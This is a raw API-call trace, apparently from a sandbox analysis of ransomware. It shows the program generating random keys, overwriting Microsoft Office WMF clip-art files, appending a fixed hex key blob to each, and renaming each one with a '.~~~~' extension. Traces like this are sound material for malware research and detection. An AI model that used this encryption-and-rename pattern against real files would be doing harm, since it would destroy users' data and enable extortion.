	[0123.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281fd78 | out: hHeap=0x300000) returned 1
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee8d0
	[0123.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd540
	[0123.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee8d0 | out: hHeap=0x300000) returned 1
	[0123.807] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.807] GetLastError () returned 0x0
	[0123.807] GetLastError () returned 0x0
	[0123.807] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.807] GetLastError () returned 0x0
	[0123.807] GetLastError () returned 0x0
	[0123.851] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd09c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.851] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2f64, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x2f64, lpOverlapped=0x0) returned 1
	[0123.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.852] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.852] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.852] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.852] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.852] CloseHandle (hObject=0x11c) returned 1
	[0123.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd838
	[0123.867] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf.~~~~")) returned 1
	[0123.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd838 | out: hHeap=0x300000) returned 1
	[0123.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.894] GetLastError () returned 0x0
	[0123.894] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.895] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.895] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0123.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0123.895] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24388530569) returned 1
	[0123.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb3516cd0, dwHighDateTime=0x1d60e1e)) 
	[0123.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0123.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0123.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ff70
	[0123.895] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ff70 | out: hHeap=0x300000) returned 1
	[0123.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.896] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd670
	[0123.896] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.896] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.896] GetLastError () returned 0x0
	[0123.896] GetLastError () returned 0x0
	[0123.896] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.896] GetLastError () returned 0x0
	[0123.896] GetLastError () returned 0x0
	[0123.899] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffdae8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.899] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x2518, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x1f8fec0*=0x2518, lpOverlapped=0x0) returned 1
	[0123.904] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0123.904] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.904] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.904] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.904] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.904] CloseHandle (hObject=0x120) returned 1
	[0123.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd838
	[0123.910] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.~~~~")) returned 1
	[0123.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd838 | out: hHeap=0x300000) returned 1
	[0123.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0123.938] GetLastError () returned 0x0
	[0123.946] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.952] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.952] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.952] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24394209533) returned 1
	[0123.952] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb35af250, dwHighDateTime=0x1d60e1e)) 
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7f48
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7f48 | out: hHeap=0x300000) returned 1
	[0123.952] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdec0
	[0123.953] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.953] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.953] GetLastError () returned 0x0
	[0123.953] GetLastError () returned 0x0
	[0123.953] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.953] GetLastError () returned 0x0
	[0123.953] GetLastError () returned 0x0
	[0123.956] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff700, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.956] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x900, lpOverlapped=0x0) returned 1
	[0123.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.957] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.957] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.957] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.957] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.957] CloseHandle (hObject=0x11c) returned 1
	[0123.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdec0
	[0123.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199727.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199727.wmf.~~~~")) returned 1
	[0123.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bdec0 | out: hHeap=0x300000) returned 1
	[0123.959] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.959] GetLastError () returned 0x0
	[0123.960] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.961] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.961] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.961] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.961] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24395116655) returned 1
	[0123.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb35af250, dwHighDateTime=0x1d60e1e)) 
	[0123.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8220
	[0123.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8220 | out: hHeap=0x300000) returned 1
	[0123.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bde28
	[0123.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.962] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.962] GetLastError () returned 0x0
	[0123.962] GetLastError () returned 0x0
	[0123.962] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.963] GetLastError () returned 0x0
	[0123.963] GetLastError () returned 0x0
	[0123.965] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffdc68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.965] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2398, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x2398, lpOverlapped=0x0) returned 1
	[0123.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.966] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.966] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.966] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.966] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.967] CloseHandle (hObject=0x11c) returned 1
	[0123.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bde28
	[0123.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205462.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205462.wmf.~~~~")) returned 1
	[0123.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bde28 | out: hHeap=0x300000) returned 1
	[0123.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.968] GetLastError () returned 0x0
	[0123.968] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0123.969] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0123.969] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0123.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.969] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24395934216) returned 1
	[0123.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb35d53b0, dwHighDateTime=0x1d60e1e)) 
	[0123.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0123.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b81e8
	[0123.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0123.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b81e8 | out: hHeap=0x300000) returned 1
	[0123.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0123.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdff0
	[0123.970] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.970] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0123.970] GetLastError () returned 0x0
	[0123.970] GetLastError () returned 0x0
	[0123.970] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0123.970] GetLastError () returned 0x0
	[0123.970] GetLastError () returned 0x0
	[0124.013] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffee1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.013] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x11e2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x1f8fec0*=0x11e2, lpOverlapped=0x0) returned 1
	[0124.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0124.014] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.014] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.014] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.014] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.014] CloseHandle (hObject=0x11c) returned 1
	[0124.063] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be418
	[0124.073] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0205466.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0205466.wmf.~~~~")) returned 1
	[0124.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be418 | out: hHeap=0x300000) returned 1
	[0124.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.086] GetLastError () returned 0x0
	[0124.087] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0124.088] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.088] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.089] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24408031065) returned 1
	[0124.090] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb36dfd50, dwHighDateTime=0x1d60e1e)) 
	[0124.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
